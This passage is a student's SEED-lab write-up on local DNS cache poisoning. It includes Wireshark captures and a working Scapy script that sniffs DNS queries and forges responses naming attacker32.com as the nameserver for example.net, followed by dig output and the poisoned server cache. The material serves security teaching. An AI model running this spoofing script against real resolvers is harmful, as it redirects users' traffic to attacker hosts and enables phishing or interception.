| 2 | 2022-03-06 15:47:04.1032123... | 10.0.2.15 | 199.7.91.13 | DNS | 86 | Standard query 0x8a50 A www.example.ne... |
| 3 | 2022-03-06 15:47:04.1033288... | 10.0.2.15 | 199.7.91.13 | DNS | 70 | Standard query 0x970e NS <Root> OPT |
| 4 | 2022-03-06 15:47:04.1119033... | PcsCompu_41:e2:75 | Broadcast | ARP | 60 | Who has 10.0.2.7? Tell 10.0.2.8 |
| 5 | 2022-03-06 15:47:04.1119122... | PcsCompu_30:ec:33 | PcsCompu_41:e2:75 | ARP | 42 | 10.0.2.7 is at 08:00:27:30:ec:33 |
| 6 | 2022-03-06 15:47:04.1145477... | 10.0.2.15 | 10.0.2.7 | DNS | 183 | Standard query response 0x18d5 A www.e... |
| 7 | 2022-03-06 15:47:04.1223656... | 199.7.91.13 | 10.0.2.15 | DNS | 307 | Standard query response 0x8a50 A www.e... |
| 8 | 2022-03-06 15:47:04.1226533... | 10.0.2.15 | 199.7.91.13 | TCP | 74 | 45041 → 53 [SYN] Seq=3020433487 Win=29... |
| 9 | 2022-03-06 15:47:04.1238729... | PcsCompu_41:e2:75 | Broadcast | ARP | 60 | Who has 10.0.2.15? Tell 10.0.2.8 |
| 10 | 2022-03-06 15:47:04.1239807... | PcsCompu_d4:a3:98 | PcsCompu_41:e2:75 | ARP | 60 | 10.0.2.15 is at 08:00:27:d4:a3:98 |
| 11 | 2022-03-06 15:47:04.1262108... | 199.7.91.13 | 10.0.2.15 | DNS | 70 | Standard query response 0x970e NS <Roo... |

Transaction ID: 0x18d5
 ▶ Flags: 0x8400 Standard query response, No error
 Questions: 1
 Answer RRs: 1
 Authority RRs: 2
 Additional RRs: 0

Queries
 ▼ Answers
 ▶ www.example.net: type A, class IN, addr 10.0.2.8
 ▼ Authoritative nameservers
 ▶ example.net: type NS, class IN, ns attacker32.com
 ▶ google.com: type NS, class IN, ns attacker32.com

Task 9:

Code:

```
#!/usr/bin/python
from scapy.all import *
def spoof_dns(pkt):
    if (DNS in pkt and 'www.example.net' in pkt[DNS].qd.qname):
        # Swap the source and destination IP address
        IPpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst)
        # Swap the source and destination port number
        UDPpkt = UDP(dport=pkt[UDP].sport, sport=53)
        # The Answer Section
        Ansec = DNSRR(rrname=pkt[DNS].qd.qname, type='A', ttl=259200, rdata='10.0.2.8')
        # The Authority Section
        NSsec1 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='attacker32.com')
        NSsec2 = DNSRR(rrname='example.net', type='NS', ttl=259200, rdata='ns.example.net')
        # The Additional Section
        Addsec1 = DNSRR(rrname='attacker32.com', type='A', ttl=259200, rdata='1.2.3.4')
        Addsec2 = DNSRR(rrname='ns.example.net', type='A', ttl=259200, rdata='5.6.7.8')
        Addsec3 = DNSRR(rrname='www.facebook.com', type='A', ttl=259200, rdata='3.4.5.6')
        # Construct the DNS packet
        DNSpkt = DNS(id=pkt[DNS].id, qd=pkt[DNS].qd, aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=2, arcount=3, an=Ansec, ns=NSsec1/
        NSsec2, ar=Addsec1/Addsec2/Addsec3)
        # Construct the entire IP packet and send it out
        spoofpkt = IPpkt/UDPpkt/DNSpkt
        send(spoofpkt)
# Sniff UDP query packets and invoke spoof_dns().
pkt = sniff(filters='udp and dst port 53', prn=spoof_dns)
```

Initiate the attack:

```
^C[03/06/22]seed@VM:~$ sudo python dnsattck3.py
```

Sent 1 packets.

Sent 1 packets.

Sent 1 packets.

Dig www.example.net on the user:


```
[03/06/22]seed@VM:~$ dig www.example.net

; <>> DiG 9.10.3-P4-Ubuntu <>> www.example.net
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 37928
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 3

;; QUESTION SECTION:
;www.example.net.                IN      A

;; ANSWER SECTION:
www.example.net.                259200  IN      A      10.0.2.8

;; AUTHORITY SECTION:
example.net.                    259200  IN      NS      attacker32.com.
example.net.                    259200  IN      NS      ns.example.net.

;; ADDITIONAL SECTION:
attacker32.com.                259200  IN      A      1.2.3.4
ns.example.net.                259200  IN      A      5.6.7.8
www.facebook.com.              259200  IN      A      3.4.5.6

;; Query time: 16 msec
;; SERVER: 10.0.2.15#53(10.0.2.15)
;; WHEN: Sun Mar 06 15:55:21 EST 2022
;; MSG SIZE rcvd: 234
```

Result on wireshark:

```
▼ Answers
  ► www.example.net: type A, class IN, addr 10.0.2.8
▼ Authoritative nameservers
  ► example.net: type NS, class IN, ns attacker32.com
  ► example.net: type NS, class IN, ns ns.example.net
▼ Additional records
  ► attacker32.com: type A, class IN, addr 1.2.3.4
  ► ns.example.net: type A, class IN, addr 5.6.7.8
  ► www.facebook.com: type A, class IN, addr 3.4.5.6
```

Cache on the server:

```
; authauthority
example.net.                259122  NS      ns.example.net.
                           259122  NS      attacker32.com.

; additional
ns.example.net.            259122  A      5.6.7.8
; authanswer
www.example.net.           259122  A      10.0.2.8
```

The entry of attacker32.com and www.facebook.com are not cached here. By observation, the

domains that don't belong to our DNS server are not cached.